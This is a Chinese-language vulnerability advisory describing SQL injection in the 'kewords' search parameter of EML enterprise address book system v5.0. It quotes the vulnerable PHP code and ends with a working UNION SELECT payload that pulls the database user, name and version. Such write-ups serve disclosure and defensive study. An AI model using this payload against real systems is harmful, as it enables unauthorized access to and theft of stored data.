# eml 企业通讯录管理系统 v5.0 通讯录页面 SQL 注入

## 漏洞描述

EML 企业客户关系管理系统,是基于 Linux 开放性内核和 Apache 基础上 Php+Mysql 的智能 B/S 交互式服务系统。 eml 企业通讯录管理系统 v5.0 通讯录页面 kewords 参数 过滤不严导致 sql 注入。

## 漏洞分析

WWW/action/action.address.php 文件 第 11 行

```
    //列表
if($do==""){
    If_rabc($action,$do); //检测权限

    if($_POST['kewords']){$search .= " and name like
'%".strip_tags($_POST[kewords])."%'";}
    if($_POST['time_start']!="" && $_POST['time_over']!=""){
        $search .= " and `created_at` >
'".strtotime($_POST[time_start]." 00:00:00")."' AND  `created_at` <
'".strtotime($_POST[time_over] ." 23:59:59")."'";
    }

    //设置分页

if($_POST[numPerPage]==""){$numPerPage="10";}else{$numPerPage=$_POST[
numPerPage];}

if($_GET[pageNum]==""||$_GET[pageNum]=="0" ){$pageNum="0";}else{$page
Num=($_GET[pageNum]-1)*$numPerPage;}
    $num=mysql_query("SELECT * FROM eml_users where 1=1 $search");//
当前频道条数
    $total=mysql_num_rows($num);//总条数
    $page=new page(array('total'=>$total,'perpage'=>$numPerPage));

    //查询
    $sql="SELECT * FROM eml_users  where 1=1 $search order by id desc
LIMIT $pageNum,$numPerPage";
```

```
    //echo $sql;
    $db->query($sql);
    $list=$db->fetchAll();


    //模版
    $smt = new smarty();smarty_cfg($smt);
    $smt->assign('list',$list);
    $smt->assign('numPerPage',$_POST[numPerPage]); //显示条数
    $smt->assign('pageNum',$_GET[pageNum]); //当前页数
    $smt->assign('total',$total);  //总条数
    $smt->assign ('page',$page->show());
    $smt->assign('title',"通讯录列表");
    $smt->display('adress_list.html');
    exit;

}
```

kewords 参数没有任何过滤，直接进入 sql 查询 导致 sql 注入漏洞

# 漏洞复现：

payload：-1' union select
1,2,3,4,user(),6,7,8,database(),version(),1,2,3,4,5,6#